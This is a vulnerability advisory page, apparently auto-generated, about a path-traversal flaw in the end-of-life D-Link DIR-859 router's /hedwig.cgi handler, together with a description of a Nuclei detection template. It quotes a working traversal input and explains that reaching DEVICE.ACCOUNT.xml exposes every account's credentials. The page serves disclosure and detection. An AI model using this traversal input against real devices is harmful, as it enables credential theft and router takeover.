Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DIR-859 1.06B01. It has been rated as critical. Affected by this issue is some unknown functionality of the file /hedwig.cgi of the component HTTP POST Request Handler. The manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251666 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.

Description quoted from the CVE record (assigned by VulDB, published 2024-01-21).

How to detect it

Nuclei template (active check)

D-Link DIR-859 - Path Traversal Information Disclosure

D-Link DIR-859 Wi-Fi routers (firmware 1.06B01, end-of-life) expose the /hedwig.cgi HTTP POST handler, which builds a configuration-file path from the attacker-controlled <service> XML element without neutralising directory-traversal sequences. A remote, unauthenticated attacker can traverse to the internal getcfg DEVICE.ACCOUNT.xml handler and have the device render the account configuration, disclosing the username and password of every device account. Actively exploited in the wild (CISA KEV). Detection logic modelled on the public Metasploit retrieve_creds module (Exploit-DB 43143) and the GreyNoise exploitation analysis.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /hedwig.cgi); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
